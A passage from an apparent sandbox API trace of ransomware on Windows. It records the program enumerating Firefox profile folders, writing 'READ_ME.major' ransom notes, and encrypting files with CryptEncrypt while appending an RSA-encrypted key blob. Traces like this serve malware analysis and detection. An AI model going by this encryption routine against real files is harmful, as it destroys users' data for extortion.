pszString="LrEiVMCXOwRvW6c4Dy6myI+fqXjvKXAcg7zk8BOS2k4GRXs1hckwjcafDmKBwqx+\n49S1R0lU6fsCQHweSPlOloQ7PkVxYF4oMn7UyZJtNLoERc2lUt+mJhKeuCUkZQd/\nU37vgPk4zpxPuGiIJP84xMM//VxNMZFr1fZKA6LOlItbGrpWwNCPu17WpnXcfI5C\nbP1q+p7HDXpUzIuNVKWej5AwyTWRXB+iLRjJZUx6HQGsAl8fzd5RnXO/EjSZHl5N\ng8BGyLMqK2KQ/aKAUpS3Wwe3rCodJdJ7nKGQAVi2B2dhboa2jtMrEPRbwxzWouV3\n5p+hBOWH3Od1sWiLOWA+iw==\n", pcchString=0x2e3f9a8) returned 1 [0250.643] WriteFile (in: hFile=0x1b60, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.643] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.643] WriteFile (in: hFile=0x1b60, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.643] CloseHandle (hObject=0x1b60) returned 1 [0250.748] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.748] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json", dwFileAttributes=0x80) returned 1 [0250.748] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\session-state.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b60 [0250.748] GetFileSizeEx (in: hFile=0x1b60, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=161) returned 1 [0250.748] ReadFile (in: hFile=0x1b60, lpBuffer=0x5abd68, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5abd68*, lpNumberOfBytesRead=0x2e3f9b4*=0xa1, lpOverlapped=0x0) returned 1 [0250.749] SetFilePointer (in: hFile=0x1b60, lDistanceToMove=-161, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.749] WriteFile (in: hFile=0x1b60, lpBuffer=0x5ab948*, nNumberOfBytesToWrite=0xa1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ab948*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa1, lpOverlapped=0x0) returned 1 [0250.749] SetFilePointer (in: hFile=0x1b60, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa1 [0250.750] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.750] WriteFile (in: hFile=0x1b60, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.750] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.750] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.750] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.750] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IW7QGvGgZ4xL1VenKjiiYzzYHZFvm557hICGQVabDCrjVLxN2dDunKzDV/dHhQS5\nSCQsi2LoNbbFRM4b9jxAJNHB7uWYEDR28qg4UeFWNzcAu+ZsGChZC0tFAm1oVHEk\n9I59ectW1Lx/8IQxHGJ/BkeBRegEktlseMjS2EIqZyoyiX3VEDp2FHYxbW+d7L+q\nuP7JhnqFc18sJY8bGkhbg3wFNs7+Tf3IL2efqpcZl3WT393cXfmc3gk3AJzhKEQv\njU8+w118IsDXYvaTW5OJi5AbxtO1VdnGyqPiqz3iAG08pj9RWsIDgAYqm/AcNlCW\ncNqi9ikgFM8TRMnc5y2Wag==\n", pcchString=0x2e3f9a8) returned 1 [0250.750] WriteFile (in: hFile=0x1b60, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.750] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.750] WriteFile (in: hFile=0x1b60, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.750] CloseHandle (hObject=0x1b60) returned 1 [0250.752] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31ea0 [0250.752] FindNextFileW (in: hFindFile=0x2f31ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.752] FindNextFileW (in: hFindFile=0x2f31ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b2b57, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485b2b57, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.752] FindNextFileW (in: hFindFile=0x2f31ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="WINNT_x86_64-msvc", cAlternateFileName="WINNT_~1")) returned 1 [0250.752] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\WINNT_x86_64-msvc\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp\\winnt_x86_64-msvc\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b64 [0250.753] WriteFile (in: hFile=0x1b64, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0250.754] CloseHandle (hObject=0x1b64) returned 1 [0250.754] FindNextFileW (in: hFindFile=0x2f31ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="WINNT_x86_64-msvc", cAlternateFileName="WINNT_~1")) returned 0 [0250.754] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31f20 [0250.754] FindNextFileW (in: hFindFile=0x2f31f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.755] FindNextFileW (in: hFindFile=0x2f31f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40e6e0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1.6", cAlternateFileName="")) returned 1 [0250.755] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b68 [0250.755] WriteFile (in: hFile=0x1b68, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0250.756] CloseHandle (hObject=0x1b68) returned 1 [0250.756] FindNextFileW (in: hFindFile=0x2f31f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b2b57, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485b2b57, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.756] FindNextFileW (in: hFindFile=0x2f31f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b2b57, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485b2b57, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.756] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31fa0 [0250.756] FindNextFileW (in: hFindFile=0x2f31fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.756] FindNextFileW (in: hFindFile=0x2f31fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5b71e56, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1.4.8.903", cAlternateFileName="148~1.903")) returned 1 [0250.757] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b6c [0250.782] WriteFile (in: hFile=0x1b6c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0250.782] CloseHandle (hObject=0x1b6c) returned 1 [0250.783] FindNextFileW (in: hFindFile=0x2f31fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b2b57, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485b2b57, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.783] FindNextFileW (in: hFindFile=0x2f31fa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b2b57, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485b2b57, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.783] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\minidumps\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32020 [0250.783] FindNextFileW (in: hFindFile=0x2f32020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.783] FindNextFileW (in: hFindFile=0x2f32020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b2b57, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485b2b57, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.783] FindNextFileW (in: hFindFile=0x2f32020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b2b57, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485b2b57, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.783] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\saved-telemetry-pings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8d8cb9a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31860 [0250.783] FindNextFileW (in: hFindFile=0x2f31860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8d8cb9a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.783] FindNextFileW (in: hFindFile=0x2f31860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b2b57, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485b2b57, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.783] FindNextFileW (in: hFindFile=0x2f31860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b2b57, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485b2b57, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.783] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb7ea601f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x485ff11c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f318a0 [0250.784] FindNextFileW (in: hFindFile=0x2f318a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb7ea601f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x485ff11c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.784] FindNextFileW (in: hFindFile=0x2f318a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd3e77da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd3e77da, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd3e77da, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1f37, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="previous.js", cAlternateFileName="")) returned 1 [0250.784] FindNextFileW (in: hFindFile=0x2f318a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485ff11c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485ff11c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485ff11c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.784] FindNextFileW (in: hFindFile=0x2f318a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43824196, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x43824196, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x1407dfe9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x36df, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="upgrade.js-20170824053622", cAlternateFileName="UPGRAD~1.JS-")) returned 1 [0250.784] FindNextFileW (in: hFindFile=0x2f318a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43824196, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x43824196, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x1407dfe9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x36df, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="upgrade.js-20170824053622", cAlternateFileName="UPGRAD~1.JS-")) returned 0 [0250.784] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.784] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622", dwFileAttributes=0x80) returned 1 [0250.785] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b78 [0250.785] GetFileSizeEx (in: hFile=0x1b78, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14047) returned 1 [0250.786] ReadFile (in: hFile=0x1b78, lpBuffer=0x3437008, 